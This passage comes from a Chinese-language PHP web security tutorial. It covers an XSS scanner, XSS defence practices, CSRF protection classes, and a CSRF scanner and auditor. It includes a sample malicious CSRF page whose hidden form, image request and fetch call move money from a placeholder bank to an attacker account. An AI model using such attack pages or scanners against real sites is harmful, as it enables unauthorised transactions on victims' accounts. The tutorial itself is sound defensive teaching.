        $vulnerabilityTypes = $this->detectVulnerabilityType($response, $payload);

        if (!empty($vulnerabilityTypes)) {
            return [
                'payload' => $payload,
                'vulnerable' => true,
                'types' => $vulnerabilityTypes,
                'url' => $testUrl,
                'http_code' => $httpCode
            ];
        }

        return ['payload' => $payload, 'vulnerable' => false];
    }

    // 检测漏洞类型
    private function detectVulnerabilityType($response, $payload) {
        $types = [];

        // 直接脚本执行
        if (strpos($response, $payload) !== false) {
            $types[] = 'Reflected XSS (Direct)';
        }

        // 检查各种编码形式
        $decodedPayload = html_entity_decode($payload);
        if ($decodedPayload !== $payload && strpos($response, $decodedPayload) !== false) {
            $types[] = 'Encoded XSS';
        }

        // 检测可能的DOM XSS
        if (preg_match('/getElementById|querySelector|innerHTML|outerHTML/i', $response)) {
            $types[] = 'Potential DOM XSS';
        }

        // 检测事件处理器
        if (preg_match('/on\w+\s*=/i', $response)) {
            $types[] = 'Event Handler Injection';
        }

        return $types;
    }

    // 生成报告
    public function generateReport($vulnerabilities) {
        $report = [
            'scan_date' => date('Y-m-d H:i:s'),
            'target_url' => $this->url,
            'total_payloads_tested' => count($this->payloads),
            'vulnerabilities_found' => count($vulnerabilities),
            'vulnerabilities' => $vulnerabilities
        ];

        return $report;
    }
}

// 使用示例
$scanner = new XssScanner(
    'http://example.com/search.php',
    ['query' => 'test', 'category' => 'books']
);

$vulnerabilities = $scanner->scan();
$report = $scanner->generateReport($vulnerabilities);

echo "XSS扫描报告:\n";
echo "扫描时间: {$report['scan_date']}\n";
echo "目标URL: {$report['target_url']}\n";
echo "测试载荷: {$report['total_payloads_tested']}\n";
echo "发现漏洞: {$report['vulnerabilities_found']}\n\n";

if (!empty($vulnerabilities)) {
    echo "漏洞详情:\n";
    foreach ($vulnerabilities as $vuln) {
        echo "- 载荷: {$vuln['payload']}\n";
        echo "  类型: " . implode(', ', $vuln['types']) . "\n";
        echo "  URL: {$vuln['url']}\n\n";
    }
} else {
    echo "未发现XSS漏洞\n";
}
?>

最佳实践总结

1. 永远不要相信用户输入

<?php
// 错误的做法
echo $_GET['message'];

// 正确的做法
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

// 更好的做法 - 使用专门的库
echo $xssProtection->escape($_GET['message']);
?>

2. 根据上下文选择正确的编码方式

<?php
// HTML内容
echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

// HTML属性
echo '<input value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';

// JavaScript
echo '<script>var data = ' . json_encode($data) . ';</script>';

// CSS
echo '<div style="background: ' . $cssValue . '">';
?>

3. 使用白名单而不是黑名单

<?php
// 好的做法:明确允许的标签
$allowedTags = '<p><br><strong><em>';
$cleanHtml = strip_tags($userInput, $allowedTags);

// 使用HTML Purifier进行更精确的控制
$cleanHtml = $htmlPurifier->purify($userInput);
?>

4. 实施多层防护

<?php
// 1. 输入验证
if (!InputFilter::isSafe($input)) {
    throw new SecurityException('输入不安全');
}

// 2. 输出编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// 3. CSP头部
CspHelper::setStrictCsp();

// 4. 其他安全头部
SecurityHeaders::setAll();
?>

5. 保持更新和监控

<?php
// 定期扫描漏洞
$schedule->job(new XssScannerJob())->daily();

// 监控可疑活动
$xssMonitor = new XssMonitor();
$xssMonitor->checkRequests();

// 使用最新版本的库和框架
// composer update
?>

通过实施这些XSS防护措施,你可以大大提高Web应用程序的安全性,保护用户免受恶意脚本的攻击。记住,安全是一个持续的过程,需要不断学习和改进。

CSRF防护

什么是CSRF攻击

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种恶意攻击,攻击者诱导用户在已经认证的状态下,向目标网站发送非预期的请求。这种攻击利用了用户在目标网站的认证凭证,执行用户并未意图的操作。

CSRF攻击的危害

  1. 未经授权的操作:执行用户未授权的操作(如修改密码、转账)
  2. 数据篡改:修改用户数据或账户设置
  3. 恶意购买:在电商网站进行未授权购买
  4. 权限提升:修改用户权限或角色
  5. 数据泄露:触发敏感数据的导出操作

CSRF攻击的原理

基本攻击流程

  1. 用户登录目标网站(如银行网站)
  2. 目标网站返回认证Cookie给用户浏览器
  3. 用户在未退出登录的情况下,访问恶意网站
  4. 恶意网站向目标网站发送请求,携带用户的认证Cookie
  5. 目标网站执行请求,以为是用户的合法操作

攻击示例

<!-- 恶意网站上的代码 -->
<!DOCTYPE html>
<html>
<head>
    <title>有趣的图片</title>
</head>
<body>
    <h1>点击查看图片</h1>

    <!-- 方式1:隐藏的表单 -->
    <form id="csrf-form" action="https://bank.example.com/transfer" method="POST" style="display:none;">
        <input type="hidden" name="to_account" value="attacker_account">
        <input type="hidden" name="amount" value="1000">
        <input type="hidden" name="currency" value="USD">
    </form>

    <!-- 方式2:使用图片触发GET请求 -->
    <img src="https://bank.example.com/transfer?to_account=attacker_account&amount=1000"
         style="display:none;" alt="">

    <!-- 方式3:使用JavaScript -->
    <script>
        // 自动提交表单
        window.onload = function() {
            document.getElementById('csrf-form').submit();
        };

        // 或使用XMLHttpRequest/Fetch
        fetch('https://bank.example.com/api/transfer', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                to_account: 'attacker_account',
                amount: 1000
            }),
            credentials: 'include' // 发送Cookie
        });
    </script>
</body>
</html>

CSRF防护方法

1. CSRF令牌(Token)防护

CSRF令牌是最常用和最有效的防护方法。

基本的CSRF令牌实现

<?php
class CsrfProtection {
    private $tokenLength = 32;
    private $sessionKey = '_csrf_token';
    private $tokenExpiry = 3600; // 1小时

    public function __construct() {
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }
    }

    // 生成CSRF令牌
    public function generateToken() {
        $token = bin2hex(random_bytes($this->tokenLength));

        // 存储令牌到session,包含过期时间
        $_SESSION[$this->sessionKey] = [
            'token' => $token,
            'expires' => time() + $this->tokenExpiry
        ];

        return $token;
    }

    // 验证CSRF令牌
    public function validateToken($token) {
        if (!isset($_SESSION[$this->sessionKey])) {
            return false;
        }

        $storedData = $_SESSION[$this->sessionKey];

        // 检查令牌是否过期
        if (time() > $storedData['expires']) {
            $this->clearToken();
            return false;
        }

        // 验证令牌是否匹配
        $isValid = hash_equals($storedData['token'], $token);

        if ($isValid) {
            // 验证成功后清除令牌(一次性使用)
            $this->clearToken();
        }

        return $isValid;
    }

    // 获取当前令牌
    public function getToken() {
        if (!isset($_SESSION[$this->sessionKey]) ||
            time() > $_SESSION[$this->sessionKey]['expires']) {
            return $this->generateToken();
        }

        return $_SESSION[$this->sessionKey]['token'];
    }

    // 清除令牌
    public function clearToken() {
        unset($_SESSION[$this->sessionKey]);
    }

    // 生成隐藏的CSRF字段HTML
    public function generateHiddenField() {
        $token = $this->getToken();
        return "<input type='hidden' name='csrf_token' value='{$token}'>";
    }

    // 验证请求中的CSRF令牌
    public function validateRequest() {
        $token = $_POST['csrf_token'] ?? $_GET['csrf_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null;

        if ($token === null) {
            return false;
        }

        return $this->validateToken($token);
    }

    // 为AJAX请求生成令牌
    public function getAjaxToken() {
        return [
            'token' => $this->getToken(),
            'header' => 'X-CSRF-Token'
        ];
    }
}

// 使用示例
$csrf = new CsrfProtection();

// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!$csrf->validateRequest()) {
        die('CSRF令牌验证失败!');
    }

    // 处理表单数据
    echo "表单提交成功!";
}
?>

在表单中使用CSRF令牌

<?php
// 在HTML表单中包含CSRF令牌
function renderForm() {
    $csrf = new CsrfProtection();
    $token = $csrf->getToken();
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>安全表单</title>
    </head>
    <body>
        <form action="process.php" method="POST">
            <?php echo $csrf->generateHiddenField(); ?>

            <div>
                <label for="username">用户名:</label>
                <input type="text" id="username" name="username" required>
            </div>

            <div>
                <label for="email">邮箱:</label>
                <input type="email" id="email" name="email" required>
            </div>

            <div>
                <label for="message">消息:</label>
                <textarea id="message" name="message" required></textarea>
            </div>

            <button type="submit">提交</button>
        </form>
    </body>
    </html>
    <?php
}

// 处理表单提交
function processForm() {
    $csrf = new CsrfProtection();

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!$csrf->validateRequest()) {
            http_response_code(403);
            echo "请求被拒绝:CSRF令牌无效";
            return;
        }

        // 验证表单数据
        $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
        $email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
        $message = filter_input(INPUT_POST, 'message', FILTER_SANITIZE_STRING);

        if ($username && $email && $message) {
            // 处理数据(保存到数据库等)
            echo "表单提交成功!";
        } else {
            echo "请填写所有必填字段";
        }
    }
}
?>

2. SameSite Cookie属性

SameSite属性可以防止Cookie在跨站请求中发送。

<?php
class SecureSession {
    // 启用SameSite Cookie
    public static function startSecureSession($lifetime = 0, $path = '/', $domain = '') {
        // 设置Cookie参数,包括SameSite
        $cookieParams = session_get_cookie_params();

        session_set_cookie_params([
            'lifetime' => $lifetime ?: $cookieParams['lifetime'],
            'path' => $path ?: $cookieParams['path'],
            'domain' => $domain ?: $cookieParams['domain'],
            'secure' => true,  // 仅通过HTTPS传输
            'httponly' => true, // 禁止JavaScript访问
            'samesite' => 'Strict' // 或 'Lax'
        ]);

        session_start();

        // 重新生成会话ID
        session_regenerate_id(true);
    }

    // 设置安全的会话Cookie
    public static function setSecureCookie($name, $value, $expire = 0, $path = '/', $domain = '') {
        $options = [
            'expires' => $expire,
            'path' => $path,
            'domain' => $domain,
            'secure' => true,
            'httponly' => true,
            'samesite' => 'Lax'
        ];

        setcookie($name, $value, $options);
    }
}

// 在应用开始时启用安全会话
SecureSession::startSecureSession();
?>

3. 验证Referer和Origin头部

<?php
class RequestValidator {
    private $allowedDomains;
    private $allowSubdomains;

    public function __construct($allowedDomains = [], $allowSubdomains = false) {
        $this->allowedDomains = $allowedDomains;
        $this->allowSubdomains = $allowSubdomains;
    }

    // 验证请求来源
    public function validateOrigin() {
        $origin = $_SERVER['HTTP_ORIGIN'] ?? $_SERVER['HTTP_REFERER'] ?? null;

        if ($origin === null) {
            // 某些请求可能不包含Origin头
            return true;
        }

        return $this->isAllowedDomain($origin);
    }

    // 检查是否为允许的域名
    private function isAllowedDomain($url) {
        $parsedUrl = parse_url($url);
        $host = $parsedUrl['host'] ?? '';

        foreach ($this->allowedDomains as $allowedDomain) {
            if ($this->allowSubdomains) {
                // 允许子域名
                if ($host === $allowedDomain || str_ends_with($host, '.' . $allowedDomain)) {
                    return true;
                }
            } else {
                // 不允许子域名
                if ($host === $allowedDomain) {
                    return true;
                }
            }
        }

        return false;
    }

    // 验证AJAX请求
    public function validateAjaxRequest() {
        if (!$this->isAjaxRequest()) {
            return false;
        }

        return $this->validateOrigin();
    }

    // 检查是否为AJAX请求
    private function isAjaxRequest() {
        return (
            isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
            strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'
        ) || (
            isset($_SERVER['HTTP_ACCEPT']) &&
            strpos(strtolower($_SERVER['HTTP_ACCEPT']), 'application/json') !== false
        );
    }
}

// 使用示例
$validator = new RequestValidator(
    ['example.com', 'www.example.com'],
    true // 允许子域名
);

// 在处理请求前验证
if (!$validator->validateOrigin()) {
    http_response_code(403);
    echo "请求被拒绝:无效的来源";
    exit;
}
?>

4. 双重提交Cookie

双重提交Cookie是一种额外的防护措施。

<?php
class DoubleSubmitCookie {
    private $cookieName = 'csrf_cookie';
    private $paramName = 'csrf_param';
    private $tokenLength = 32;

    public function generateToken() {
        return bin2hex(random_bytes($this->tokenLength));
    }

    // 设置CSRF Cookie
    public function setCookie() {
        $token = $this->generateToken();

        // 设置Cookie,HttpOnly设为false以便JavaScript可以读取
        setcookie(
            $this->cookieName,
            $token,
            [
                'expires' => 0,
                'path' => '/',
                'domain' => '',
                'secure' => true,
                'httponly' => false,
                'samesite' => 'Strict'
            ]
        );

        return $token;
    }

    // 验证双重提交
    public function validate() {
        $cookieToken = $_COOKIE[$this->cookieName] ?? null;
        $paramToken = $_POST[$this->paramName] ?? $_GET[$this->paramName] ?? null;

        if ($cookieToken === null || $paramToken === null) {
            return false;
        }

        return hash_equals($cookieToken, $paramToken);
    }

    // 获取令牌(用于表单)
    public function getToken() {
        $token = $_COOKIE[$this->cookieName] ?? $this->setCookie();
        return $token;
    }

    // 生成隐藏字段
    public function generateHiddenField() {
        $token = $this->getToken();
        return "<input type='hidden' name='{$this->paramName}' value='{$token}'>";
    }
}
?>

5. 完整的CSRF防护类

<?php
class CsrfGuard {
    private $tokenLength = 32;
    private $sessionKey = '_csrf_tokens';
    private $tokenExpiry = 3600;
    private $maxTokens = 10;

    public function __construct() {
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }

        // 初始化令牌存储
        if (!isset($_SESSION[$this->sessionKey])) {
            $_SESSION[$this->sessionKey] = [];
        }

        // 清理过期令牌
        $this->cleanupExpiredTokens();
    }

    // 生成新的CSRF令牌
    public function generateToken($action = 'default') {
        $token = bin2hex(random_bytes($this->tokenLength));

        $_SESSION[$this->sessionKey][$action] = [
            'token' => $token,
            'created' => time(),
            'used' => false
        ];

        // 限制令牌数量
        if (count($_SESSION[$this->sessionKey]) > $this->maxTokens) {
            $oldestAction = array_key_first($_SESSION[$this->sessionKey]);
            unset($_SESSION[$this->sessionKey][$oldestAction]);
        }

        return $token;
    }

    // 验证令牌
    public function validateToken($token, $action = 'default') {
        if (!isset($_SESSION[$this->sessionKey][$action])) {
            return false;
        }

        $tokenData = $_SESSION[$this->sessionKey][$action];

        // 检查令牌是否过期
        if (time() - $tokenData['created'] > $this->tokenExpiry) {
            unset($_SESSION[$this->sessionKey][$action]);
            return false;
        }

        // 检查令牌是否已使用(一次性令牌)
        if ($tokenData['used']) {
            return false;
        }

        // 验证令牌
        $isValid = hash_equals($tokenData['token'], $token);

        if ($isValid) {
            // 标记为已使用
            $_SESSION[$this->sessionKey][$action]['used'] = true;
        }

        return $isValid;
    }

    // 自动验证请求
    public function validateRequest($action = 'default') {
        $token = $this->getTokenFromRequest();

        if ($token === null) {
            return false;
        }

        return $this->validateToken($token, $action);
    }

    // 从请求中获取令牌
    private function getTokenFromRequest() {
        // 从POST数据获取
        if (isset($_POST['_csrf_token'])) {
            return $_POST['_csrf_token'];
        }

        // 从GET参数获取
        if (isset($_GET['_csrf_token'])) {
            return $_GET['_csrf_token'];
        }

        // 从HTTP头部获取
        if (isset($_SERVER['HTTP_X_CSRF_TOKEN'])) {
            return $_SERVER['HTTP_X_CSRF_TOKEN'];
        }

        return null;
    }

    // 清理过期令牌
    private function cleanupExpiredTokens() {
        foreach ($_SESSION[$this->sessionKey] as $action => $tokenData) {
            if (time() - $tokenData['created'] > $this->tokenExpiry) {
                unset($_SESSION[$this->sessionKey][$action]);
            }
        }
    }

    // 生成隐藏字段
    public function generateHiddenField($action = 'default') {
        $token = $this->generateToken($action);
        return "<input type='hidden' name='_csrf_token' value='{$token}'>";
    }

    // 获取AJAX令牌
    public function getAjaxToken($action = 'default') {
        return [
            'name' => '_csrf_token',
            'value' => $this->generateToken($action),
            'header' => 'X-CSRF-Token'
        ];
    }

    // 注入CSRF元标签到HTML头部
    public function injectMetaTag($action = 'default') {
        $token = $this->generateToken($action);
        echo "<meta name='csrf-token' content='{$token}'>";
    }
}

// 中间件示例
class CsrfMiddleware {
    private $csrfGuard;
    private $excludedRoutes;

    public function __construct($excludedRoutes = []) {
        $this->csrfGuard = new CsrfGuard();
        $this->excludedRoutes = $excludedRoutes;
    }

    // 处理请求
    public function handle($route, $callback) {
        // 检查是否为排除的路由
        if ($this->isExcludedRoute($route)) {
            return $callback();
        }

        // 验证CSRF令牌
        if ($_SERVER['REQUEST_METHOD'] !== 'GET' && !$this->csrfGuard->validateRequest()) {
            http_response_code(403);
            echo json_encode(['error' => 'CSRF token validation failed']);
            exit;
        }

        return $callback();
    }

    // 检查是否为排除的路由
    private function isExcludedRoute($route) {
        foreach ($this->excludedRoutes as $excludedRoute) {
            if (fnmatch($excludedRoute, $route)) {
                return true;
            }
        }
        return false;
    }
}
?>

6. 前端JavaScript集成

// CSRF令牌管理
class CsrfManager {
    constructor() {
        this.token = this.getToken();
        this.setupAjax();
    }

    // 获取CSRF令牌
    getToken() {
        const meta = document.querySelector('meta[name="csrf-token"]');
        if (meta) {
            return meta.getAttribute('content');
        }

        // 从隐藏字段获取
        const hidden = document.querySelector('input[name="_csrf_token"]');
        if (hidden) {
            return hidden.value;
        }

        return null;
    }

    // 为所有AJAX请求添加CSRF令牌
    setupAjax() {
        if (!this.token) return;

        // Fetch API拦截器
        const originalFetch = window.fetch;
        window.fetch = function(url, options = {}) {
            if (options.method && ['POST', 'PUT', 'DELETE', 'PATCH'].includes(options.method.toUpperCase())) {
                options.headers = {
                    ...options.headers,
                    'X-CSRF-Token': window.csrfManager.token
                };
            }
            return originalFetch.apply(this, arguments);
        };

        // jQuery AJAX设置
        if (typeof $ !== 'undefined') {
            $.ajaxSetup({
                beforeSend: function(xhr, settings) {
                    if (settings.type && ['POST', 'PUT', 'DELETE', 'PATCH'].includes(settings.type.toUpperCase())) {
                        xhr.setRequestHeader('X-CSRF-Token', window.csrfManager.token);
                    }
                }
            });
        }

        // Axios拦截器
        if (typeof axios !== 'undefined') {
            axios.defaults.headers.common['X-CSRF-Token'] = this.token;
        }
    }

    // 动态更新表单令牌
    updateFormTokens() {
        const forms = document.querySelectorAll('form');
        forms.forEach(form => {
            let tokenField = form.querySelector('input[name="_csrf_token"]');
            if (!tokenField) {
                tokenField = document.createElement('input');
                tokenField.type = 'hidden';
                tokenField.name = '_csrf_token';
                form.appendChild(tokenField);
            }
            tokenField.value = this.token;
        });
    }

    // 刷新令牌
    async refreshToken() {
        try {
            const response = await fetch('/csrf-token', {
                method: 'POST',
                headers: {
                    'X-CSRF-Token': this.token
                }
            });
            const data = await response.json();
            this.token = data.token;
            this.updateFormTokens();
        } catch (error) {
            console.error('Failed to refresh CSRF token:', error);
        }
    }
}

// 初始化CSRF管理器
document.addEventListener('DOMContentLoaded', function() {
    window.csrfManager = new CsrfManager();
});

7. 实际应用示例

<?php
// 完整的Web应用CSRF防护示例
class SecureWebApp {
    private $csrfGuard;
    private $db;

    public function __construct() {
        $this->csrfGuard = new CsrfGuard();
        // 初始化数据库连接
        $this->db = new Database('localhost', 'user', 'pass', 'app');
    }

    // 处理用户注册
    public function handleRegister() {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            if (!$this->csrfGuard->validateRequest('register')) {
                $this->jsonResponse(['error' => 'CSRF验证失败'], 403);
                return;
            }

            $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
            $email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
            $password = $_POST['password'];

            // 验证输入
            if (!$username || !$email || !$password) {
                $this->jsonResponse(['error' => '请填写所有字段'], 400);
                return;
            }

            // 检查用户是否已存在
            if ($this->db->userExists($email)) {
                $this->jsonResponse(['error' => '邮箱已被注册'], 409);
                return;
            }

            // 创建用户
            $userId = $this->db->createUser($username, $email, $password);
            if ($userId) {
                $this->jsonResponse(['success' => '注册成功', 'user_id' => $userId]);
            } else {
                $this->jsonResponse(['error' => '注册失败'], 500);
            }
        }
    }

    // 处理密码修改
    public function handleChangePassword() {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            if (!$this->csrfGuard->validateRequest('change_password')) {
                $this->jsonResponse(['error' => 'CSRF验证失败'], 403);
                return;
            }

            $currentPassword = $_POST['current_password'];
            $newPassword = $_POST['new_password'];
            $confirmPassword = $_POST['confirm_password'];

            // 验证密码
            if ($newPassword !== $confirmPassword) {
                $this->jsonResponse(['error' => '新密码不匹配'], 400);
                return;
            }

            if (strlen($newPassword) < 8) {
                $this->jsonResponse(['error' => '密码至少8个字符'], 400);
                return;
            }

            // 验证当前密码
            $userId = $_SESSION['user_id'];
            if (!$this->db->verifyPassword($userId, $currentPassword)) {
                $this->jsonResponse(['error' => '当前密码错误'], 401);
                return;
            }

            // 更新密码
            if ($this->db->updatePassword($userId, $newPassword)) {
                $this->jsonResponse(['success' => '密码修改成功']);
            } else {
                $this->jsonResponse(['error' => '密码修改失败'], 500);
            }
        }
    }

    // 渲染表单
    public function renderForm($formType) {
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <title>安全表单</title>
            <?php $this->csrfGuard->injectMetaTag($formType); ?>
            <script src="csrf-manager.js"></script>
        </head>
        <body>
            <?php if ($formType === 'register'): ?>
                <form id="register-form" method="POST" action="register.php">
                    <?php echo $this->csrfGuard->generateHiddenField('register'); ?>
                    <h2>用户注册</h2>
                    <div>
                        <label>用户名:</label>
                        <input type="text" name="username" required>
                    </div>
                    <div>
                        <label>邮箱:</label>
                        <input type="email" name="email" required>
                    </div>
                    <div>
                        <label>密码:</label>
                        <input type="password" name="password" required>
                    </div>
                    <button type="submit">注册</button>
                </form>
            <?php elseif ($formType === 'change_password'): ?>
                <form id="password-form" method="POST" action="change-password.php">
                    <?php echo $this->csrfGuard->generateHiddenField('change_password'); ?>
                    <h2>修改密码</h2>
                    <div>
                        <label>当前密码:</label>
                        <input type="password" name="current_password" required>
                    </div>
                    <div>
                        <label>新密码:</label>
                        <input type="password" name="new_password" required>
                    </div>
                    <div>
                        <label>确认新密码:</label>
                        <input type="password" name="confirm_password" required>
                    </div>
                    <button type="submit">修改密码</button>
                </form>
            <?php endif; ?>
        </body>
        </html>
        <?php
    }

    // JSON响应
    private function jsonResponse($data, $statusCode = 200) {
        http_response_code($statusCode);
        header('Content-Type: application/json');
        echo json_encode($data);
        exit;
    }
}

// 路由处理
$app = new SecureWebApp();

// 中间件
$middleware = new CsrfMiddleware([
    'csrf-token' // 排除CSRF令牌获取路由
]);

// 路由定义
$routes = [
    'GET /register' => function() use ($app) {
        $app->renderForm('register');
    },
    'POST /register' => function() use ($app) {
        $middleware->handle('/register', function() use ($app) {
            $app->handleRegister();
        });
    },
    'POST /change-password' => function() use ($app) {
        $middleware->handle('/change-password', function() use ($app) {
            $app->handleChangePassword();
        });
    },
    'POST /csrf-token' => function() use ($app) {
        // 获取新的CSRF令牌
        $token = $app->csrfGuard->generateToken();
        header('Content-Type: application/json');
        echo json_encode(['token' => $token]);
    }
];

// 简单的路由分发
$requestMethod = $_SERVER['REQUEST_METHOD'];
$requestUri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$routeKey = "$requestMethod $requestUri";

if (isset($routes[$routeKey])) {
    $routes[$routeKey]();
} else {
    http_response_code(404);
    echo "页面未找到";
}
?>

检测CSRF漏洞

CSRF漏洞扫描器

<?php
class CsrfScanner {
    private $targetUrl;
    private $userAgent = 'CSRF Scanner';

    public function __construct($targetUrl) {
        $this->targetUrl = $targetUrl;
    }

    // 扫描CSRF漏洞
    public function scan() {
        $report = [
            'target' => $this->targetUrl,
            'scan_date' => date('Y-m-d H:i:s'),
            'vulnerabilities' => []
        ];

        // 检查表单
        $forms = $this->extractForms();
        foreach ($forms as $form) {
            $vulnerability = $this->analyzeForm($form);
            if ($vulnerability) {
                $report['vulnerabilities'][] = $vulnerability;
            }
        }

        // 检查AJAX端点
        $ajaxEndpoints = $this->findAjaxEndpoints();
        foreach ($ajaxEndpoints as $endpoint) {
            $vulnerability = $this->analyzeAjaxEndpoint($endpoint);
            if ($vulnerability) {
                $report['vulnerabilities'][] = $vulnerability;
            }
        }

        return $report;
    }

    // 提取表单
    private function extractForms() {
        $html = $this->fetchPage($this->targetUrl);
        if (!$html) {
            return [];
        }

        $dom = new DOMDocument();
        @$dom->loadHTML($html);
        $forms = [];

        foreach ($dom->getElementsByTagName('form') as $form) {
            $formInfo = [
                'action' => $form->getAttribute('action'),
                'method' => strtoupper($form->getAttribute('method') ?: 'GET'),
                'has_csrf_token' => false,
                'csrf_field_name' => null
            ];

            // 检查CSRF令牌字段
            foreach ($form->getElementsByTagName('input') as $input) {
                $name = $input->getAttribute('name');
                if (preg_match('/csrf|token/i', $name)) {
                    $formInfo['has_csrf_token'] = true;
                    $formInfo['csrf_field_name'] = $name;
                    break;
                }
            }

            $forms[] = $formInfo;
        }

        return $forms;
    }

    // 分析表单漏洞
    private function analyzeForm($form) {
        // 如果是GET请求,CSRF风险较低
        if ($form['method'] === 'GET') {
            return null;
        }

        // 检查是否有CSRF令牌
        if ($form['has_csrf_token']) {
            return null;
        }

        // 检查是否为敏感操作
        $action = strtolower($form['action']);
        $sensitiveKeywords = ['delete', 'update', 'change', 'password', 'email', 'transfer', 'purchase'];

        foreach ($sensitiveKeywords as $keyword) {
            if (strpos($action, $keyword) !== false) {
                return [
                    'type' => 'CSRF in Form',
                    'action' => $form['action'],
                    'method' => $form['method'],
                    'severity' => 'High',
                    'description' => '表单缺少CSRF令牌保护,可能执行敏感操作'
                ];
            }
        }

        return [
            'type' => 'CSRF in Form',
            'action' => $form['action'],
            'method' => $form['method'],
            'severity' => 'Medium',
            'description' => '表单缺少CSRF令牌保护'
        ];
    }

    // 查找AJAX端点
    private function findAjaxEndpoints() {
        $html = $this->fetchPage($this->targetUrl);
        if (!$html) {
            return [];
        }

        $endpoints = [];

        // 查找JavaScript中的API调用
        if (preg_match_all('/(?:fetch|ajax|get|post)\s*\(\s*[\'"]([^\'"]+)[\'"]/', $html, $matches)) {
            foreach ($matches[1] as $url) {
                if (strpos($url, 'http') !== 0) {
                    $url = rtrim($this->targetUrl, '/') . '/' . ltrim($url, '/');
                }
                $endpoints[] = $url;
            }
        }

        return array_unique($endpoints);
    }

    // 分析AJAX端点
    private function analyzeAjaxEndpoint($endpoint) {
        // 这里可以发送测试请求来检查CSRF保护
        // 简化示例:返回潜在风险
        return [
            'type' => 'Potential CSRF in AJAX',
            'endpoint' => $endpoint,
            'severity' => 'Info',
            'description' => '需要手动检查此AJAX端点的CSRF保护'
        ];
    }

    // 获取页面内容
    private function fetchPage($url) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => $this->userAgent,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 30
        ]);

        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        return ($httpCode === 200) ? $content : false;
    }
}

// 使用示例
$scanner = new CsrfScanner('http://example.com');
$report = $scanner->scan();

echo "CSRF扫描报告:\n";
echo "目标: {$report['target']}\n";
echo "扫描时间: {$report['scan_date']}\n";
echo "发现漏洞: " . count($report['vulnerabilities']) . "\n\n";

foreach ($report['vulnerabilities'] as $vuln) {
    echo "类型: {$vuln['type']}\n";
    echo "严重程度: {$vuln['severity']}\n";
    echo "描述: {$vuln['description']}\n";
    if (isset($vuln['action'])) {
        echo "动作: {$vuln['action']}\n";
    }
    echo "\n";
}
?>

最佳实践总结

1. 多层防护策略

<?php
// 综合防护示例
class SecureApplication {
    private $csrfGuard;
    private $requestValidator;

    public function __construct() {
        // 启动安全会话
        SecureSession::startSecureSession();

        // 初始化CSRF保护
        $this->csrfGuard = new CsrfGuard();

        // 初始化请求验证
        $this->requestValidator = new RequestValidator(
            ['example.com'],
            true
        );

        // 设置安全头部
        SecurityHeaders::setAll();
    }

    public function handleRequest() {
        // 1. 验证请求来源
        if (!$this->requestValidator->validateOrigin()) {
            http_response_code(403);
            die('请求来源无效');
        }

        // 2. 对于状态改变操作,验证CSRF令牌
        if ($this->isStateChangingRequest()) {
            if (!$this->csrfGuard->validateRequest()) {
                http_response_code(403);
                die('CSRF令牌无效');
            }
        }

        // 3. 处理请求
        $this->processRequest();
    }

    private function isStateChangingRequest() {
        $method = $_SERVER['REQUEST_METHOD'];
        return in_array($method, ['POST', 'PUT', 'DELETE', 'PATCH']);
    }
}
?>

2. 关键操作的特殊保护

<?php
// 对敏感操作实施额外保护
class SensitiveOperationProtection {
    // 要求重新认证
    public function requireReauthentication() {
        $lastAuth = $_SESSION['last_auth_time'] ?? 0;
        $maxAge = 300; // 5分钟

        if (time() - $lastAuth > $maxAge) {
            // 重定向到重新认证页面
            header('Location: /reauthenticate?return=' . urlencode($_SERVER['REQUEST_URI']));
            exit;
        }
    }

    // 操作确认
    public function requireConfirmation($operation, $data) {
        $_SESSION['pending_operation'] = [
            'operation' => $operation,
            'data' => $data,
            'expires' => time() + 600 // 10分钟有效期
        ];

        // 显示确认页面
        include 'confirm_operation.php';
        exit;
    }

    // 执行已确认的操作
    public function executeConfirmedOperation() {
        if (!isset($_SESSION['pending_operation'])) {
            throw new Exception('没有待处理的操作');
        }

        $operation = $_SESSION['pending_operation'];

        if (time() > $operation['expires']) {
            unset($_SESSION['pending_operation']);
            throw new Exception('操作已过期');
        }

        // 执行操作
        $result = $this->performOperation($operation['operation'], $operation['data']);

        // 清除待处理操作
        unset($_SESSION['pending_operation']);

        return $result;
    }
}
?>

3. 定期安全审计

<?php
// CSRF保护审计
class CsrfAuditor {
    private $reportFile = 'csrf_audit.log';

    public function audit() {
        $report = [
            'timestamp' => date('Y-m-d H:i:s'),
            'checks' => []
        ];

        // 检查会话配置
        $report['checks']['session'] = $this->checkSessionConfig();

        // 检查CSRF令牌实现
        $report['checks']['csrf_tokens'] = $this->checkCsrfImplementation();

        // 检查表单
        $report['checks']['forms'] = $this->checkForms();

        // 记录报告
        $this->saveReport($report);

        return $report;
    }

    private function checkSessionConfig() {
        $config = session_get_cookie_params();

        return [
            'secure' => $config['secure'] ?? false,
            'httponly' => $config['httponly'] ?? false,
            'samesite' => $config['samesite'] ?? 'None',
